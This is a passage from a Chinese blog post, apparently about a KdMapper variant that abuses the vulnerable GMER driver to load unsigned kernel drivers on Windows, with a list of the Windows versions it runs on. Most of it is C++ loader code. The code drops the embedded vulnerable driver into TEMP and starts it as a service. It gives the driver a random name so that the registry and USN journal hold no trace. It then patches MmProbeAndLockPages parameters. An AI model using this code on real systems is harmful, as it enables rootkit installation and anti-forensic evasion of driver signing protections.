nt::POOL_TYPE::NonPagedPool, image_size); kernel_image_base = gmer_driver::AllocatePool(iqvw64e_device_handle, nt::POOL_TYPE::NonPagedPool, image_size + 0x1000); } ...... } HANDLE gmer_driver::Load() { ...... //Randomize name for log in registry keys, usn jornal and other shits memset(gmer_driver::driver_name, 0, sizeof(gmer_driver::driver_name)); static const char alphanum[] = "abcdefghijklmnopqrstuvwxyz" "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; //由于漏洞驱动内创建设备名称有字符串限制,所以只能创建17个字符以下 //int len = rand() % 20 + 10; int len = rand() % 7 + 10; for (int i = 0; i < len; ++i) gmer_driver::driver_name[i] = alphanum[rand() % (sizeof(alphanum) - 1)]; Log(L"[<] Loading vulnerable driver, Name: " << GetDriverNameW() << std::endl); std::wstring driver_path = GetDriverPath(); if (driver_path.empty()) { Log(L"[-] Can't find TEMP folder" << std::endl); return INVALID_HANDLE_VALUE; } _wremove(driver_path.c_str()); if (!utils::CreateFileFromMemory(driver_path, reinterpret_cast<const char*>(gmer_driver_resource::driver), sizeof(gmer_driver_resource::driver))) { Log(L"[-] Failed to create vulnerable driver file" << std::endl); return INVALID_HANDLE_VALUE; } if (!service::RegisterAndStart(driver_path)) { Log(L"[-] Failed to register and start service for the vulnerable driver" << std::endl); _wremove(driver_path.c_str()); return INVALID_HANDLE_VALUE; } std::wstringstream device_name; device_name << L"\\\\.\\"; device_name << GetDriverNameW(); Log(L"[+] Open Device " << device_name.str().c_str() << std::endl); Sleep(300); HANDLE result = CreateFileW(device_name.str().c_str(), GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); //HANDLE result = CreateFileW(L"\\\\.\\GMER64", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (!result || result == INVALID_HANDLE_VALUE) { Log(L"[-] Failed to load driver " << GetDriverNameW() << L".sys" << std::endl); gmer_driver::Unload(result); return INVALID_HANDLE_VALUE; } if (!gmer_driver::InitializeDevice(result)) { Log(L"[-] Failed to Initialize Device" << std::endl); gmer_driver::Unload(result); return INVALID_HANDLE_VALUE; } if (!gmer_driver::ModifyMmProbeAndLockPagesParamter(result)) { Log(L"[-] Failed to ModifyMmProbeAndLockPagesParamter" << std::endl); gmer_driver::Unload(result); return INVALID_HANDLE_VALUE; } ...... }

6.运行效果

  Windows 11 22000 环境上运行效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》。

7.特别提示

  由于利用驱动数字签名问题,该程序只能在Windows 7、Windows 10 22H2(不包含)以下、Windows 11 22000(包含)以下运行。其它版本的Windows 10 和 Windows 11 由于驱动数字证书被吊销而不能使用。

小讯
上一篇 2025-02-19 09:17
下一篇 2025-03-09 19:16

相关推荐

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/41690.html